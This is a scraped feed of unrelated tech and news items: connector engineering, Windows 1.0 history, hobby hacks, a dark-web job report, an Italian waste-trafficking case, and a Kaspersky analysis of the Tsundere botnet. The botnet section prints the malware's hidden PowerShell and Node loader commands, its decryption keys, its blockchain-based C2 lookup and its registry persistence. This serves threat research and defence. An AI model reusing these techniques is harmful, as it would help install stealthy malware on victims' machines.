Mating Cycles: Engineering Connectors to Last

If you take a look around you, chances are pretty good that within a few seconds, your eyes will fall on some kind of electrical connector. In this day and age, it’s as likely as not to be a USB connector, given their ubiquity as the charger of choice for everything from phones to flashlights. But there are plenty of other connectors, from mains outlets in the wall to Ethernet connectors, and if you’re anything like us, you’ve got a bench full of DuPonts, banana plugs, BNCs, SMAs, and all the rest of the alphabet soup of connectors.

Given their propensity for failure and their general reputation as a necessary evil in electrical designs, it may seem controversial to say that all connectors are engineered to last. But it’s true; they’re engineered to last, but only for as long as necessary. Some are built for only a few cycles of mating, while others are built for the long haul. Either way, connectors are a great case study in engineering compromise, one that loops physics, chemistry, and materials science into the process.

A Tale of Two Connectors

While there’s a bewildering number of connectors available today, most have at least a few things in common. Generally, connectors consist of one or more electrically conductive elements held in position by an insulating body of some sort, one that can mechanically attach to another body containing more conductive elements. When the two connectors are attached, the conductive elements come into physical contact with each other, completing the circuit and providing a low-resistance path for current to flow. The bodies also have to be able to separate from each other when the connections need to be broken.
This Molex connector is only engineered for a few mating cycles over its useful life. By Barcex – Self-published work, CC BY-SA 2.5.
For as simple as that sounds, a lot of engineering goes into making connectors that are suitable for the job at hand. The intended use of a connector dictates a lot about how it’s designed, and in terms of connector durability, looking at the extremes can be instructive. On one end of the scale, we might have something like a Molex connector on a wiring harness in a dishwasher. Under ideal circumstances, a connector like that only needs to be used once, in the factory during assembly. If the future owner of the appliance is unlucky, that connector might go through one or two more mating cycles if the machine needs to be serviced at some point. Either way, the connector is only going to be subjected to low single-digit mating cycles, and should be designed accordingly
A USB-C connector, on the other hand, is designed for 10,000 mating cycles. By Tomato86 – Own work, CC BY-SA 4.0.
On the other end of the mating-cycle spectrum would be something like the USB-C connector on a cell phone. Assuming the user will charge the phone once a day, the connector might have to endure many thousands of mating cycles over the useful life of the phone. Such a connector has a completely different use case from a connector like that Molex, and very different design constraints. But the basic job — bringing two conductors into close contact to complete a low-resistance circuit, and allow the circuits to be broken only under the right circumstances — is the same for both.

But what exactly do we mean by “close contact”? It might seem obvious — conductors in each half of the connector have to touch each other. But keeping those conductors in contact is the real trick, especially in challenging environments such as under the hood of a car or inside a CNC machine, where vibration, dust, and liquid intrusion can all come together to force those contacts apart and break the circuit while it’s still in use.

esseeWhy Be Normal?

To keep contacts together, engineers rely on one of the simplest mechanisms of all: springs. In most connectors, the contacts themselves are the sprung elements, although there are connectors where force is applied to the contacts with separate springs. In either case, the force generated by the spring pushes the contacts together firmly enough to ensure that they stay connected. This is the normal force, called so because the force is exerted perpendicular to the plane of contact when the connector is mated.

Traditionally, normal force in connector engineering is expressed in grams, which seems like an affront to the SI system, where force is expressed in Newtons. But fear not — “grams” does not refer to the mass of a contact, but rather is shorthand for “gram-force,” the force applied by one gram of mass in a one g gravitational field. So, an “80 gram” contact is really exerting 0.784 N of normal force. But that’s a bit clunky, especially when most connectors have normal forces that are a fraction of a Newton. So it ends up being easier to refer to the grams part of the equation and just assume the acceleration component.

The amount of normal force exerted by the contacts is a critical factor in connector design, and has to be properly scaled for the job. If the force is too low, it may increase the resistance of the circuit or even result in intermittent open circuits. If the force is too high, the connector could be difficult to mate and unmate, or the contacts could wear out from excess friction.

Since the contacts themselves are usually the springs as well as the conductors, getting the normal force right, as well as ensuring the contacts are highly conductive, is largely an exercise in materials science. While pure copper is an excellent conductor, it is not elastic enough to provide the proper normal force. So, most connectors use one of two related copper alloys for their contacts: phosphor bronze, or beryllium copper. Both are excellent electrical and thermal conductors, and both are strong and springy, but there are significant differences between the two that make them suitable for different types of connectors.

As the name implies, phosphor bronze is an alloy of phosphorus and bronze, which itself is an alloy of copper and tin. To make phosphor bronze, about 0.03% phosphorus is added to pure molten copper. Any oxygen dissolved in the copper reacts with the phosphorus, making phosphorus pentoxide (P₂O₅), which can be easily removed during refining. About 2% tin is added along with about 10% zinc and 2% iron to make the final alloy, which is easily cast into sheets or coil stock.

While far superior to pure copper or non-phosphor bronze for use in contacts, phosphor bronze is, at best, a compromise material. It’s good enough in almost all categories — strength, elasticity, conductivity, wear resistance — but not really great in any of them. It’s the “Jack of all trades, master of none” of the electrical contact world, which, coupled with its easy workability and low cost, makes it the metal of choice for the contacts in commodity connectors. If a manufacturer is making a million copies of a connector, especially ones that are cheap enough that nobody will cry too much if they have to be replaced, chances are good that they’ll choose phosphor bronze. It’s also the alloy most likely to be used for connectors intended for low mating-cycle applications, like the aforementioned dishwasher Molex.

For more mission-critical contacts, a different alloy is generally called for: beryllium copper. Also known as spring copper, beryllium copper contains up to about 3% beryllium, but for electrical uses, it’s usually around 0.7% with a little cobalt and nickel added in. Beryllium copper is everything that phosphor bronze is, and more. It’s stronger and springier, it’s a far better electrical conductor, and it also has a better ability to withstand creep under load. Also known as stress relaxation, creep under load is the tendency for a spring to lose its strength over time, which reduces its normal force. Phosphor bronze has pretty good stress relaxation resistance, but when it heats up past around 125°C, it starts to lose spring force — not ideal for high-power applications. Beryllium copper is easily able to withstand 150°C or more, making it a better choice for power connectors.

Beryllium copper also has a higher elastic modulus than phosphor bronze, which makes it easier to create small contacts that still have enough normal force to maintain good contact. Smaller is better when it comes to modern high-density connectors, so you’ll often see beryllium copper used in fine-pitch connectors. It also has better fatigue life and tends to maintain normal force over repeated mating cycles, making it desirable for connectors that specify cycle lives in the thousands. But just because it’s desirable doesn’t make it a shoo-in — beryllium copper is at least three times more expensive than phosphor bronze. That means it’s usually reserved for connectors that can justify the added expense.

Noble Is Only Skin Deep

No matter what the base metal is for connector contacts, chances are good that the finished contact will have some sort of plated finish. Plating is important because it protects the base metal from oxidation, as well as increasing the wear resistance of contacts and improving their electrical conductivity. Plating metals fall into two broad categories: noble (principally gold, with silver used sometimes for high-power connectors, as well as palladium, but only very rarely) and non-noble platings.

Noble metal finishes are quite common in high-density connectors, RF applications, and high-speed digital circuits, as well as high-reliability applications and connectors that are expected to have high mating cycles. But at the risk of stating the obvious, gold is expensive, so it’s used only on connectors that really need it. And even then, it’s very rare that the entire contact is plated. While that would be incredibly expensive — gold is currently pushing $4,000 an ounce — the real reason is that gold isn’t particularly solderable. So generally, selective plating is used to deposit gold only on the mating surfaces of contacts, with the tail of the contact plated in a non-noble metal to improve solderability.

youtube.com/embed/AtwVm_3YrwI?…

Among the non-noble finishes, tin and tin alloys are the first choice. Aside from its excellent solderability, tin alloys do a great job at protecting the base metal from corrosion. However, the tin plating itself begins to oxidize almost immediately after it’s applied. This would seem to be a problem, but it’s easily addressed by using more spring force in the contacts to break through the oxide layer to fresh tin. Tin-plated contacts typically specify normal forces of 100 grams or more, while noble metal contacts can get by with 30 grams or less. Also, tin contacts require much thicker plating than noble metal finishes. Tin is generally specified for commodity connectors and anywhere the number of mating cycles is likely to be low.

Don’t You Fret

Although corrosion is obviously something to be avoided, the real enemy when it comes to connector durability is metal-on-metal contact. The spring pressure between contacts unavoidably digs into the plating, and while that’s actually desirable in tin-plated contacts, too much of a good thing is bad. Digging past the plating into the base metal marks the end of the road for many connectors, as the base metal’s relatively lower conductivity increases the resistance of the connection, potentially leading to intermittent connections and even overheating. Again, noble metals perform better in this regard, at least in the long run, as their lower normal force reduces friction and results in a longer-lived contact.

There’s another metallurgical phenomenon that can wreak havoc on connectors: fretting. Fretting is caused by tiny movements of the contacts against each other, on the order of 10^-7 meters, generally in response to low-g vibrations but also as a result of thermal expansion and contraction. Fretting damage occurs when the force of micromotions between contacts exceeds the normal force exerted between them. This leads to one contact sliding over the other by a tiny amount, digging a trench through the plating metal. In tin-plated contacts, this exposes fresh tin, which oxidizes instantly, forming an insulating surface. Further micromotions expose more fresh tin, which leads to more oxides. Eventually the connection fails due to high resistance. Fretting is insidious because it happens even without a lot of mating cycles; all it takes is a little vibration and some time. And those are the enemies of all connectors.

hackaday.com/2025/11/20/mating…

Tanti auguri Windows! 40 anni di storia dei sistemi operativi e non sentirli

Esattamente 40 anni fa, il 20 novembre 1985, Microsoft rilasciò Windows 1.0, la prima versione di Windows, che tentò di trasformare l’allora personal computer da una macchina con una monotona riga di comando in un sistema con finestre, icone e controllo tramite mouse.

Si tratta della messa a terra di alcune delle più grandi innovazioni del nostro tempo, ideata dal genio di Duglas Engelbart e dell’“oN-Line System”, il sistema progettato negli anni sessanta che introduceva un sistema operativo a finestre connesso ad un mouse, presentati nella storica “mother of all demos” del 9 dicembre del 1968.
Schermata di caricamento di Windows 1.0
Per il pubblico di oggi, questo sembra scontato (o sconosciuto) ma a metà degli anni ’80, l’idea stessa di un’interfaccia grafica sul PC IBM di massa era praticamente rivoluzionaria.

Tecnicamente, Windows 1.0 non era un sistema operativo completo. Era una sovrapposizione grafica su MS-DOS , una shell a 16 bit chiamata MS-DOS Executive che si sovrapponeva al sistema esistente e consentiva l’esecuzione di programmi in modalità finestra.

La prima versione fu rilasciata solo negli Stati Uniti; aggiornamenti ed edizioni internazionali seguirono in seguito, e il pacchetto costava circa 99 dollari, una cifra considerevole all’epoca.
Desktop di Windows 1.0, dove si possono vedere le finestre non modificabili nella loro dimensione
L’interfaccia appariva insolita persino per gli standard degli anni ’80. In Windows 1.0, le finestre non potevano essere sovrapposte liberamente: erano rigorosamente affiancate sullo schermo. L’utente controllava il sistema principalmente con il mouse, selezionando le voci di menu e trascinando gli elementi, sebbene i menu stessi funzionassero in modo strano e richiedessero di tenere premuto il pulsante del mouse.

Ma anche allora, Microsoft stava già definendo i principi che in seguito si sarebbero evoluti nel modello desktop che conosciamo.

Windows 1.0 includeva una suite di applicazioni sorprendentemente riconoscibili ancora oggi. Agli utenti venivano offerti Paintbrush, l’antenato dell’odierno Paint, Blocco note, l’editor di testo Write, Calcolatrice, un orologio, un terminale, il database di schede Cardfile, gli appunti e un gestore di stampa. Queste applicazioni consentivano agli utenti di prendere semplici appunti, disegnare semplici grafici, stampare documenti ed eseguire più programmi contemporaneamente, sebbene con un multitasking molto limitato.

I requisiti hardware al momento del rilascio erano considerati piuttosto elevati. Per eseguire Windows 1.0 era necessario un processore Intel 8086 o 8088, almeno 256 kilobyte di RAM, una scheda grafica e due unità floppy disk a doppia faccia o un disco rigido. Molti recensori si sono lamentati del notevole rallentamento del sistema durante l’esecuzione di più applicazioni, soprattutto se il computer disponeva di una memoria inferiore ai 512 kilobyte consigliati. In confronto, l’attuale minimo di 4 gigabyte per Windows 11 sembra quasi un balzo in avanti.

Windows 1.0 ricevette un’accoglienza tiepida dal mercato. I critici ne notarono l’interfaccia lenta, la scarsa compatibilità con i programmi DOS esistenti e il numero limitato di applicazioni scritte specificamente per Windows. Rispetto ai sistemi grafici Apple già disponibili, il prodotto Microsoft appariva rudimentale e alcuni recensori paragonarono le sue prestazioni su un PC con 512 kilobyte di RAM a “melassa versata nell’Artico”, alludendo alla sua incredibile lentezza.
Desktop di Windows 2.0
Tuttavia, Microsoft non abbandonò l’idea. Nel giro di un paio d’anni, l’azienda rilasciò diversi aggiornamenti di Windows 1.x con supporto per nuovo hardware e layout di tastiera europei, per poi introdurre Windows 2.0 e il particolarmente riuscito Windows 3.0.

Queste versioni, da sole, resero l’interfaccia grafica dei PC IBM uno standard di fatto del settore e gettarono le basi per il vasto ecosistema software a cui ci siamo abituati negli anni ’90.
Desktop di Windows 3.0
Oggi, Windows 1.0 è ormai da tempo diventato un reperto da museo: emulatori del sistema vengono lanciati per nostalgia e curiosità, e la stessa Microsoft occasionalmente ricorda la sua prima interfaccia grafica attraverso Easter egg e progetti a tema, come la divertente app per Windows 1.11 basata sulla serie TV Stranger Things.

Ma molte idee e persino alcuni programmi di quell’epoca sono sopravvissuti fino a oggi, e il 40° anniversario ci ricorda quanto rapidamente siano cambiati sia i computer che la nostra comprensione di cosa dovrebbe essere un’interfaccia intuitiva in una sola generazione .

L'articolo Tanti auguri Windows! 40 anni di storia dei sistemi operativi e non sentirli proviene da Red Hot Cyber.

Micro:Bit Gets Pseudo-Polyphonic Sound With Neat Hack

The Micro:bit is a fun microcontroller development platform, designed specifically for educational use. Out of the box, it’s got a pretty basic sound output feature that can play a single note at a time. However, if you’re willing to get a bit tricky, you can do some pseudo-polyphonic stuff as [microbit-noob] explains.

The trick to polyphony in a monophonic world? Rapidly alternating between the different notes you want to be playing at the same time. Do this fast enough and it feels like they’re playing together rather than seperately. [microbit-noob] demonstrates how to implement this with a simple function coded for the Micro:bit. Otherwise, it uses the completely stock sound hardware. However, the IR receiver is added to the device in order to allow a simple remote control to be used to command the notes desired, along with some extra tactile buttons to add further control.

Is it chiptune? Well, it’s a chip, playing a tune, so yes. Even if it is through a tiny speaker stuck to the PCB. In any case, if you’re trying to get some better bleeps and bloops out of the Micro:bit, this is a great place to start. If you’ve got other hacks for Britain’s educational little board, let us know on the tipsline!

hackaday.com/2025/11/18/microb…

Diskette Game Floppy Flopper is Certainly no Flop

There’s a tactile joy to the humble 3.5″ floppy that no USB stick will ever match. It’s not just the way they thunk into place in a well-made drive, the eject button, too, is a tactile experience not to be missed. If you were a child in disk-drive days, you may have popped a disk in-and-out repeatedly just for the fun of it — and if you weren’t a child, and did it anyway, we’re not going to judge. [igor] has come up with a physical game called “Floppy Flopper” that provides an excuse to do just that en masse, and it looks like lots of fun.

It consists of nine working floppy drives in a 3×3 grid, all mounted on a hefty welded-steel frame. Each drive has an RGB LED above it. The name of the game is to swap floppies as quickly as possible so that the color of the floppy in the drive matches the color flashing above it. Each successful insertion is worth thirteen points, tracked on a lovely matrix display. Each round is faster than the last, until you miss the window or mix up colors in haste. That might make more sense if you watch the demo video below.

[igor] could have easily faked this with NFC tags, as we’ve seen floppy-like interfaces do, or perhaps just use a color sensor. But no, those nine drives are all in working order. In the interest of speed — this is a timed challenge, after all, and we don’t need a PC slowing it down — each floppy is given its own microcontroller. Rather than reading data off the disk, only the disk’s write-protect and density holes are checked. He’s only using R, G, and B for floppy colors, so those four bits are enough. Unfortunately [igor]’s collection of floppies is very professional — lots of black and grey — so he needed to use colored stickers instead of technicolor plastic.

The project is open source, if you happen to have a stack of floppy drives of your own. If you don’t, but still want to play, the area, the Floppy Flopper is being exhibited at RADIONA in Rijeka, Croatia until December 5th 2025. If you happen to be in the neighborhood, it might be worth a trip.

If we had a nickle for every physical game that used a floppy drive, we’d have two nickles just this year. Which isn’t a lot, but it’s kind of neat to see so long after the last diskettes came off the production lines.

youtube.com/embed/wWfkXNIbJLw?…

hackaday.com/2025/11/20/disket…

Inside the dark web job market

In 2022, we published our research examining how IT specialists look for work on the dark web. Since then, the job market has shifted, along with the expectations and requirements placed on professionals. However, recruitment and headhunting on the dark web remain active.

So, what does this job market look like today? This report examines how employment and recruitment function on the dark web, drawing on 2,225 job-related posts collected from shadow forums between January 2023 and June 2025. Our analysis shows that the dark web continues to serve as a parallel labor market with its own norms, recruitment practices and salary expectations, while also reflecting broader global economic shifts. Notably, job seekers increasingly describe prior work experience within the shadow economy, suggesting that for many, this environment is familiar and long-standing.

The majority of job seekers do not specify a professional field, with 69% expressing willingness to take any available work. At the same time, a wide range of roles are represented, particularly in IT. Developers, penetration testers and money launderers remain the most in-demand specialists, with reverse engineers commanding the highest average salaries. We also observe a significant presence of teenagers in the market, many seeking small, fast earnings and often already familiar with fraudulent schemes.

While the shadow market contrasts with legal employment in areas such as contract formality and hiring speed, there are clear parallels between the two. Both markets increasingly prioritize practical skills over formal education, conduct background checks and show synchronized fluctuations in supply and demand.

Looking ahead, we expect the average age and qualifications of dark web job seekers to rise, driven in part by global layoffs. Ultimately, the dark web job market is not isolated — it evolves alongside the legitimate labor market, influenced by the same global economic forces.

In this report, you’ll find:

• Demographics of the dark web job seekers
• Their job preferences
• Top specializations on the dark web
• Job salaries
• Comparison between legal and shadow job markets

Read the full report (English, PDF)

securelist.com/dark-web-job-ma…

Giunge a conclusione l'indagine in Liguria per reati ambientali e traffico internazionale di rifiuti

I #carabinieri del nucleo #Forestale di Borghetto Vara (La Spezia) dopo la segnalazione all'autorità giudiziaria di 27 persone per dieci diverse tipologie di reati ambientali legati al traffico illecito di rifiuti destinati anche alla Nigeria ((leggi qui poliversity.it/@Coop_internazi…), hanno eseguito su richiesta della Procura la perquisizione dell'abitazione di uno degli indagati e di due aree nei Comuni di Sarzana e Castelnuovo Magra utilizzate per la demolizione illecita di veicoli, lo stoccaggio dei relativi componenti e il deposito di altri rifiuti.

Sono stati posti sotto sequestro circa 60 autovetture fuori uso, quattro autocarri e rifiuti depositati in modo incontrollato. L'esecuzione dei provvedimenti di perquisizione e sequestro aveva già permesso di acquisire elementi che avevano confermato la gestione illecita dei rifiuti con la corresponsabilità di alcuni cittadini residenti in Nigeria, nazione di destinazione dei rifiuti.

La Dda (Direzione Distrettuale Antimafia) di Genova ha assunto la direzione delle indagini relativamente all'ipotesi di reato principale di attività organizzate per il traffico illecito di rifiuti e ha richiesto cinque misure cautelari nei confronti di altrettante persone, quattro cittadini stranieri e uno italiano. Il gip (Giudice delle Indagini Preliminari) ha accolto la richiesta ed emesso le misure cautelari.

I carabinieri hanno eseguito l'analisi dei dispositivi mobili posti sotto sequestro nel mese di febbraio scorso, che ha svelato un illecito sistema di fatturazione operato tra giugno 2020 sino ad almeno il marzo 2023 e per questo sono state denunciate 11 persone in concorso per dichiarazione fraudolenta mediante l'emissione di fatture per operazioni inesistenti inesistenti e e segnalate potenziali attività dità di riciclaggio.

Nei giorni scorsi è stato stato emesso e notificato dai carabinieri l'avviso di conclusione delle indagini preliminari nei confronti dei quattordici indagati per attività organizzate per il traffico illecito di rifiuti di cui cinque già destinatari di misure cautelari. All'indagato cardine del procedimento sono attribuiti 27 capi di imputazione tra i quali attività organizzata per il traffico illecito, la gestione illecita di rifiuti, la combustione illecita di rifiuti e l'attività di demolizione non autorizzata.

#reatiambientali
#trafficointernazionaledirifiuti

@liguria

Blockchain and Node.js abused by Tsundere: an emerging botnet

Introduction

Tsundere is a new botnet, discovered by our Kaspersky GReAT around mid-2025. We have correlated this threat with previous reports from October 2024 that reveal code similarities, as well as the use of the same C2 retrieval method and wallet. In that instance, the threat actor created malicious Node.js packages and used the Node Package Manager (npm) to deliver the payload. The packages were named similarly to popular packages, employing a technique known as typosquatting. The threat actor targeted libraries such as Puppeteer, Bignum.js, and various cryptocurrency packages, resulting in 287 identified malware packages. This supply chain attack affected Windows, Linux, and macOS users, but it was short-lived, as the packages were removed and the threat actor abandoned this infection method after being detected.

The threat actor resurfaced around July 2025 with a new threat. We have dubbed it the Tsundere bot after its C2 panel. This botnet is currently expanding and poses an active threat to Windows users.

Initial infection

Currently, there is no conclusive evidence on how the Tsundere bot implants are being spread. However, in one documented case, the implant was installed via a Remote Monitoring and Management (RMM) tool, which downloaded a file named pdf.msi from a compromised website. In other instances, the sample names suggest that the implants are being disseminated using the lure of popular Windows games, particularly first-person shooters. The samples found in the wild have names such as “valorant”, “cs2”, or “r6x”, which appear to be attempts to capitalize on the popularity of these games among piracy communities.

Malware implants

According to the C2 panel, there are two distinct formats for spreading the implant: via an MSI installer and via a PowerShell script. Implants are automatically generated by the C2 panel (as described in the Infrastructure section).

MSI installer

The MSI installer was often disguised as a fake installer for popular games and other software to lure new victims. Notably, at the time of our research, it had a very low detection rate.
The installer contains a list of data and JavaScript files that are updated with each new build, as well as the necessary Node.js executables to run these scripts. The following is a list of files included in the sample:
nodejs/B4jHWzJnlABB2B7
nodejs/UYE20NBBzyFhqAQ.js
nodejs/79juqlY2mETeQOc
nodejs/thoJahgqObmWWA2
nodejs/node.exe
nodejs/npm.cmd
nodejs/npx.cmd
The last three files in the list are legitimate Node.js files. They are installed alongside the malicious artifacts in the user’s AppData\Local\nodejs directory.

An examination of the CustomAction table reveals the process by which Windows Installer executes the malware and installs the Tsundere bot:
RunModulesSetup 1058 NodeDir powershell -WindowStyle Hidden -NoLogo -enc JABuAG[...]ACkAOwAiAA==
After Base64 decoding, the command appears as follows:
$nodePath = "$env:LOCALAPPDATA\nodejs\node.exe";
& $nodePath - e "const { spawn } = require('child_process'); spawn(process.env.LOCALAPPDATA + '\\nodejs\\node.exe', ['B4jHWzJnlABB2B7'], { detached: true, stdio: 'ignore', windowsHide: true, cwd: __dirname }).unref();"
This will execute Node.js code that spawns a new Node.js process, which runs the loader JavaScript code (in this case, B4jHWzJnlABB2B7). The resulting child process runs in the background, remaining hidden from the user.

Loader script

The loader script is responsible for ensuring the correct decryption and execution of the main bot script, which handles npm unpackaging and configuration. Although the loader code, similar to the code for the other JavaScript files, is obfuscated, it can be deobfuscated using open-source tools. Once executed, the loader attempts to locate the unpackaging script and configuration for the Tsundere bot, decrypts them using the AES-256 CBC cryptographic algorithm with a build-specific key and nonce, and saves the decrypted files under different filenames.
encScriptPath = 'thoJahgqObmWWA2',
encConfigPath = '79juqlY2mETeQOc',
decScript = 'uB39hFJ6YS8L2Fd',
decConfig = '9s9IxB5AbDj4Pmw',
keyBase64 = '2l+jfiPEJufKA1bmMTesfxcBmQwFmmamIGM0b4YfkPQ=',
ivBase64 = 'NxrqwWI+zQB+XL4+I/042A==',
[...]
const h = path.dirname(encScriptPath),
i = path.join(h, decScript),
j = path.join(h, decConfig)
decryptFile(encScriptPath, i, key, iv)
decryptFile(encConfigPath, j, key, iv)
The configuration file is a JSON that defines a directory and file structure, as well as file contents, which the malware will recreate. The malware author refers to this file as “config”, but its primary purpose is to package and deploy the Node.js package manager (npm) without requiring manual installation or downloading. The unpackaging script is responsible for recreating this structure, including the node_modules directory with all its libraries, which contains packages necessary for the malware to run.

With the environment now set up, the malware proceeds to install three packages to the node_modules directory using npm:

• ws: a WebSocket networking library
• ethers: a library for communicating with Ethereum
• pm2: a Node.js process management tool

Loader script installing the necessary toolset for Tsundere persistence and execution

The pm2 package is installed to ensure the Tsundere bot remains active and used to launch the bot. Additionally, pm2 helps achieve persistence on the system by writing to the registry and configuring itself to restart the process upon login.

PowerShell infector

The PowerShell version of the infector operates in a more compact and simplified manner. Instead of utilizing a configuration file and an unpacker — as done with the MSI installer — it downloads the ZIP file node-v18.17.0-win-x64.zip from the official Node.js website nodejs[.]org and extracts it to the AppData\Local\NodeJS directory, ultimately deploying Node.js on the targeted device. The infector then uses the AES-256-CBC algorithm to decrypt two large hexadecimal-encoded variables, which correspond to the bot script and a persistence script. These decrypted files, along with a package.json file are written to the disk. The package.json file contains information about the malicious Node.js package, as well as the necessary libraries to be installed, including the ws and ethers packages. Finally, the infector runs both scripts, starting with the persistence script that is followed by the bot script.

The PowerShell infector creates a package file with the implant dependencies

Persistence is achieved through the same mechanism observed in the MSI installer: the script creates a value in the HKCU:\Software\Microsoft\Windows\CurrentVersion\Run registry key that points to itself. It then overwrites itself with a new script that is Base64 decoded. This new script is responsible for ensuring the bot is executed on each login by spawning a new instance of the bot.

Tsundere bot

We will now delve into the Tsundere bot, examining its communication with the command-and-control (C2) server and its primary functionality.

C2 address retrieval

Web3 contracts, also known as smart contracts, are deployed on a blockchain via transactions from a wallet. These contracts can store data in variables, which can be modified by functions defined within the contract. In this case, the Tsundere botnet utilizes the Ethereum blockchain, where a method named setString(string _str) is defined to modify the state variable param1, allowing it to store a string. The string stored in param1 is used by the Tsundere botnet administrators to store new WebSocket C2 servers, which can be rotated at will and are immutable once written to the Ethereum blockchain.
The Tsundere botnet relies on two constant points of reference on the Ethereum blockchain:

• Wallet: 0x73625B6cdFECC81A4899D221C732E1f73e504a32
• Contract: 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b

In order to change the C2 server, the Tsundere botnet makes a transaction to update the state variable with a new address. Below is a transaction made on August 19, 2025, with a value of 0 ETH, which updates the address.

Smart contract containing the Tsundere botnet WebSocket C2

The state variable has a fixed length of 32 bytes, and a string of 24 bytes (see item [2] in the previous image) is stored within it. When this string is converted from hexadecimal to ASCII, it reveals the new WebSocket C2 server address: ws[:]//185.28.119[.]179:1234.

To obtain the C2 address, the bot contacts various public endpoints that provide remote procedure call (RPC) APIs, allowing them to interact with Ethereum blockchain nodes. At the start of the script, the bot calls a function named fetchAndUpdateIP, which iterates through a list of RPC providers. For each provider, it checks the transactions associated with the contract address and wallet owner, and then retrieves the string from the state variable containing the WebSocket address, as previously observed.

Malware code for retrieval of C2 from the smart contract

The Tsundere bot verifies that the C2 address starts with either ws:// or wss:// to ensure it is a valid WebSocket URL, and then sets the obtained string as the server URL. But before using this new URL, the bot first checks the system locale by retrieving the culture name of the machine to avoid infecting systems in the CIS region. If the system is not in the CIS region, the bot establishes a connection to the server via a WebSocket, setting up the necessary handlers for receiving, sending, and managing connection states, such as errors and closed sockets.

Bot handlers for communication

Communication

The communication flow between the client (Tsundere bot) and the server (WebSocket C2) is as follows:

1. The Tsundere bot establishes a WebSocket connection with the retrieved C2 address.
2. An AES key is transmitted immediately after the connection is established.
3. The bot sends an empty string to confirm receipt of the key.
4. The server then sends a nonce (IV), enabling the use of encrypted communication from that point on.
   Encryption is required for all subsequent communication.
5. The bot transmits the OS information of the infected machine, including the MAC address, total memory, GPU information, and other details. This information is also used to generate a unique identifier (UUID).
6. The C2 server responds with a JSON object, acknowledging the connection and confirming the bot’s presence.
7. With the connection established, the client and server can exchange information freely.
   
   1. To maintain the connection, keep-alive messages are sent every minute using ping/pong messages.
   2. The bot sends encrypted responses as part of the ping/pong messages, ensuring continuous communication.

   
   

Tsundere communication process with the C2 via WebSockets

The connections are not authenticated through any additional means, making it possible for a fake client to establish a connection.

As previously mentioned, the client sends an encrypted ping message to the C2 server every minute, which returns a pong message. This ping-pong exchange serves as a mechanism for the C2 panel to maintain a list of currently active bots.

Functionality

The Tsundere bot is designed to allow the C2 server to send dynamic JavaScript code. When the C2 server sends a message with ID=1 to the bot, the message is evaluated as a new function and then executed. The result of this operation is sent back to the server via a custom function named serverSend, which is responsible for transmitting the result as a JSON object, encrypted for secure communication.

Tsundere bot evaluation code once functions are received from the C2

The ability to evaluate code makes the Tsundere bot relatively simple, but it also provides flexibility and dynamism, allowing the botnet administrators to adapt it to a wide range of actions.

However, during our observation period, we did not receive any commands or functions from the C2 server, possibly because the newly connected bot needed to be requested by other threat actors through the botnet panel before it could be utilized.

Infrastructure

The Tsundere bot utilizes WebSocket as its primary protocol for establishing connections with the C2 server. As mentioned earlier, at the time of writing, the malware was communicating with the WebSocket server located at 185.28.119[.]179, and our tests indicated that it was responding positively to bot connections.

The following table lists the IP addresses and ports extracted from the provided list of URLs:

Marketplace and control panel

No business is complete without a marketplace, and similarly, no botnet is complete without a control panel. The Tsundere botnet has both a marketplace and a control panel, which are integrated into the same frontend.

Tsundere botnet panel login

The notable aspect of Tsundere’s control panel, dubbed “Tsundere Netto” (version 2.4.4), is that it has an open registration system. Any user who accesses the login form can register and gain access to the panel, which features various tabs:

• Bots: a dashboard displaying the number of bots under the user’s control
• Settings: user settings and administrative functions
• Build: if the user has an active license, they can create new bots using the two previously mentioned methodologies (MSI or PowerShell)
• Market: this is the most interesting aspect of the panel, as it allows users to promote their individual bots and offer various services and functionalities to other threat actors. Each build can create a bot that performs a specific set of actions, which can then be offered to others
• Monero wallet: a wallet service that enables users to make deposits or withdrawals
• Socks proxy: a feature that allows users to utilize their bots as proxies for their traffic

Tsundere botnet control panel, building system and market

Each build generates a unique build ID, which is embedded in the implant and sent to the C2 server upon infection. This build ID can be linked to the user who created it. According to our research and analysis of other URLs found in the wild, builds are created through the panel and can be downloaded via the URL:
hxxps://idk.1f2e[REDACTED]07a4[.]net/api/builds/{BUILD-ID}.msi.
At the time of writing this, the panel typically has between 90 and 115 bots connected to the C2 server at any given time.

Attribution

Based on the text found in the implants, we can conclude with high confidence that the threat actor behind the Tsundere botnet is likely Russian-speaking. The use of the Russian language in the implants is consistent with previous attacks attributed to the same threat actor.

Russian being used throughout the code

Furthermore, our analysis suggests a connection between the Tsundere botnet and the 123 Stealer, a C++-based stealer available on the shadow market for $120 per month. This connection is based on the fact that both panels share the same server. Notably, the main domain serves as the frontend for the 123 Stealer panel, while the subdomain “idk.” is used for the Tsundere botnet panel.

123 Stealer C2 panel sharing Tsundere’s infrastructure and showcasing its author

By examining the available evidence, we can link both threats to a Russian-speaking threat actor known as “koneko”. Koneko was previously active on a dark web forum, where they promoted the 123 Stealer, as well as other malware, including a backdoor. Although our analysis of the backdoor revealed that it was not directly related to Tsundere, it shared similarities with the Tsundere botnet in that it was written in Node.js and used PowerShell or MSI as infectors. Before the dark web forum was seized and shut down, koneko’s profile featured the title “node malware senior”, further suggesting their expertise in Node.js-based malware.

Conclusion

The Tsundere botnet represents a renewed effort by a presumably identified threat actor to revamp their toolset. The Node.js-based bot is an evolution of an attack discovered in October of last year, and it now features a new strategy and even a new business model. Infections can occur through MSI and PowerShell files, which provides flexibility in terms of disguising installers, using phishing as a point of entry, or integrating with other attack mechanisms, making it an even more formidable threat.
Additionally, the botnet leverages a technique that is gaining popularity: utilizing web3 contracts, also known as “smart contracts”, to host command-and-control (C2) addresses, which enhances the resilience of the botnet infrastructure. The botnet’s possible author, koneko, is also involved in peddling other threats, such as the 123 Stealer, which suggests that the threat is likely to escalate rather than diminish in the coming months. As a result, it is essential to closely monitor this threat and be vigilant for related threats that may emerge in the near future.

Indicators of compromise

More IoCs related to this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

File hashes
235A93C7A4B79135E4D3C220F9313421
760B026EDFE2546798CDC136D0A33834
7E70530BE2BFFCFADEC74DE6DC282357
5CC5381A1B4AC275D221ECC57B85F7C3
AD885646DAEE05159902F32499713008
A7ED440BB7114FAD21ABFA2D4E3790A0
7CF2FD60B6368FBAC5517787AB798EA2
E64527A9FF2CAF0C2D90E2238262B59A
31231FD3F3A88A27B37EC9A23E92EBBC
FFBDE4340FC156089F968A3BD5AA7A57
E7AF0705BA1EE2B6FBF5E619C3B2747E
BFD7642671A5788722D74D62D8647DF9
8D504BA5A434F392CC05EBE0ED42B586
87CE512032A5D1422399566ECE5E24CF
